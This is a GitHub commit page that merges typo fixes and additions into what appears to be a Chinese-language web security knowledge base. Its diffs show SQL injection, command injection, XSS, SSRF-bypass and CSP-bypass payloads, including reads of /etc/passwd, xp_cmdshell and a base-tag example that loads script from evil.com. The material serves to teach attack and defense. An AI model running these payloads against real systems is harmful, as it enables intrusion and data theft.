Skip to content

Commit

Permalink
Merge pull request LyleMi#3 from tkmikan/master
Browse files Browse the repository at this point in the history
minor fixs and some new things
  • Loading branch information
LyleMi authored Jul 15, 2019
2 parents 99a497e + 7f9115a commit 04b48e4
Show file tree
Hide file tree
Showing 13 changed files with 36 additions and 22 deletions.
2 changes: 1 addition & 1 deletion source/language/php/unserialize.rst
Original file line number Diff line number Diff line change
Expand Up @@ -103,7 +103,7 @@ php在反序列化的时候会调用 ``__wakeup`` / ``__sleep`` 等函数,可

::

``unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');``
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

输出

Expand Down
2 changes: 1 addition & 1 deletion source/vuln/cmdinjection.rst
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ Java
黑名单绕过
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- ``a=l;b=s;$a$b``
- base64 `` `echo "bHM=" | base64 -d ` ``
- base64 ``echo "bHM=" | base64 -d``
- ``/?in/?s`` => ``/bin/ls``
- 连接符 ``cat /etc/pass'w'd``
- 未定义的初始化变量 ``cat$x /etc/passwd``
Expand Down
2 changes: 1 addition & 1 deletion source/vuln/sql/cheatsheet/mssql.rst
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ SQL Server Payload
- Command
- ``EXEC xp_cmdshell 'net user'``
- Ascii
- ``SELECT char(0×41)``
- ``SELECT char(0x41)``
- ``SELECT ascii('A')``
- ``SELECT char(65)+char(66)`` => return ``AB``
- Delay
Expand Down
6 changes: 3 additions & 3 deletions source/vuln/sql/cheatsheet/mysql.rst
Original file line number Diff line number Diff line change
Expand Up @@ -23,17 +23,17 @@ MySQL Payload
- If
- ``SELECT if(1=1,'foo','bar');`` return 'foo'
- Ascii
- ``SELECT char(0×41)``
- ``SELECT char(0x41)``
- ``SELECT ascii('A')``
- ``SELECT 0×414243`` => return ``ABC``
- ``SELECT 0x414243`` => return ``ABC``
- Delay
- ``sleep(1)``
- ``SELECT BENCHMARK(1000000,MD5('A'))``
- Read File
- ``select @@datadir``
- ``select load_file('databasename/tablename.MYD')``
- Blind
- ``ascii(subtring(str,pos,length)) & 32 == 1``
- ``ascii(substring(str,pos,length)) & 32 = 1``
- Error Based
- ``select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;``
- Write File
Expand Down
2 changes: 1 addition & 1 deletion source/vuln/sql/cheatsheet/psql.rst
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ PostgresSQL Payload
- List Database
- ``SELECT datname FROM pg_database``
- Ascii
- ``SELECT char(0×41)``
- ``SELECT char(0x41)``
- ``SELECT ascii('A')``
- Delay
- ``pg_sleep(1)``
5 changes: 2 additions & 3 deletions source/vuln/sql/dbident.rst
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,7 @@ MySQL
- benchmark ``BENCHMARK(5000000, MD5('test'))``
- 字符串连接
- ``SELECT 'a' 'b'``
- ``SELECT 'some'+'string'``
- ``SELECT CONCTA('some','string')``
- ``SELECT CONCAT('some','string')``
- version
- ``SELECT @@version``
- ``SELECT version()``
Expand All @@ -21,7 +20,7 @@ Oracle
--------------------------------
- 字符串连接
- ``'a'||'oracle' --``
- ``SELECT CONCTA('some','string')``
- ``SELECT CONCAT('some','string')``
- version
- ``SELECT banner FROM v$version``
- ``SELECT banner FROM v$version WHERE rownum=1``
Expand Down
4 changes: 2 additions & 2 deletions source/vuln/sql/fuzz.rst
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
常见的注入点
--------------------------------------
- GET/POST/PUT/DELETE参数
- X-Forward
- X-Forwarded-For
- 文件名

Fuzz注入点
Expand Down Expand Up @@ -39,7 +39,7 @@ Fuzz注入点
报错注入
--------------------------------------
- ``select 1/0``
- ``select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a``
- ``select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a``
- ``extractvalue(1, concat(0x5c,(select user())))``
- ``updatexml(0x3a,concat(1,(select user())),1)``
- ``exp(~(SELECT * from(select user())a))``
Expand Down
2 changes: 1 addition & 1 deletion source/vuln/sql/tricks.rst
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ SQL注入小技巧

漏洞发生的原因是执行了 ``set character_set_client = 'gbk';`` 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 ``set names 'gbk'`` 的话real_escape是不知道设置的数据的编码的,就会加 ``%5c`` 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 ``mysql_set_charset('gbk')`` ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了
解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 ``mysql_set_charset('gbk')`` ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了
第三种就是用pdo。

还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。
14 changes: 11 additions & 3 deletions source/vuln/ssrf.rst
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,16 @@ SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用解析到内网的域名
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 ``xip.io`` 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

利用解析URL所出现的问题
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
Expand All @@ -61,9 +71,7 @@ SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

比如 ``xip.io`` 提供了一个方便的服务,当用户访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

但是由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,这种方式可以通过短地址的方式来绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

Expand Down
2 changes: 1 addition & 1 deletion source/vuln/webcache.rst
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ Web cache攻击类似于RPO相对路径重写攻击,都依赖于浏览器与
漏洞要存在,至少需要满足下面两个条件:

1. web cache功能根据扩展进行保存,并忽略caching header;
2. 当访问如 ``http://www.examplecom/home.php/non-existent.css`` 不存在的页面,会返回 ``home.php`` 的内容。
2. 当访问如 ``http://www.example.com/home.php/non-existent.css`` 不存在的页面,会返回 ``home.php`` 的内容。

漏洞防御
--------------------------------
Expand Down
11 changes: 10 additions & 1 deletion source/vuln/xss/csp.rst
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,7 @@ media-src 定义 <audio>、<video> 等引用资源加载策略
object-src 定义 <applet>、<embed>、<object> 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
base-uri 定义 <base> 根URL策略,不使用default-src作为默认值
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志
============ ============
Expand Down Expand Up @@ -78,6 +79,10 @@ report-uri 值为 /report-uri,提交日志
+--------------------+----------------------------+------------------------------------------------------------------+
| 'unsafe-eval' | script-src 'unsafe-eval' | 允许一些不安全的代码执行方式,例如js的eval() |
+--------------------+----------------------------+------------------------------------------------------------------+
| 'nonce-<base64-value>'| script-src 'nonce-bm9uY2U=' | 使用随机的nonce,允许加载标签上nonce属性匹配的标签 |
+--------------------+----------------------------+------------------------------------------------------------------+
| '<hash-algo>-<base64-value>' | script-src 'sha256-<base64-value>' | 允许hash值匹配的代码块被执行 |
+--------------------+----------------------------+------------------------------------------------------------------+

- ``none``:你可能期望不匹配任何内容
- ``self``:与当前来源相同,但不包含子域
Expand Down Expand Up @@ -157,4 +162,8 @@ iframe
- For FireFox ``<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">``
- ``<link rel="import" />``
- ``<meta http-equiv="refresh" content="0; url=http://...." />``
- 策略配置为 ``self`` 时,可通过 ``base`` 标签修改源来bypass
- 当script-src为nonce或无限制,且base-uri无限制时,可通过 ``base`` 标签修改根URL来bypass,如下加载了http://evil.com/main.js
::

<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
2 changes: 0 additions & 2 deletions source/vuln/xss/payload.rst
Original file line number Diff line number Diff line change
Expand Up @@ -40,8 +40,6 @@ Payload
- ``<script>alert('1')</script>``
- ``<script>alert("1")</script>``
- ``<script>alert`1`</script>``
- ``<script>alert(1)</script>``
- ``<script>alert(1)</script>``
- ``<script>(alert)(1)</script>``
- ``<script>a=alert,a(1)</script>``
- ``<script>[1].find(alert)</script>``
Expand Down
4 changes: 2 additions & 2 deletions source/vuln/xss/sop.rst
Original file line number Diff line number Diff line change
Expand Up @@ -136,6 +136,6 @@ CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource s

阻止跨源访问
----------------------------------------
阻止跨域写操作,可以检测请求中的 ``CSRF toke`` ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。
阻止跨域写操作,可以检测请求中的 ``CSRF token`` ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。

阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 ``Conten-Type`` 消息头。例如如果在HTML文档中指定 ``<script>`` 标记,则浏览器会尝试将HTML解析为JavaScript。
阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 ``Content-Type`` 消息头。例如如果在HTML文档中指定 ``<script>`` 标记,则浏览器会尝试将HTML解析为JavaScript。

0 comments on commit 04b48e4

Please sign in to comment.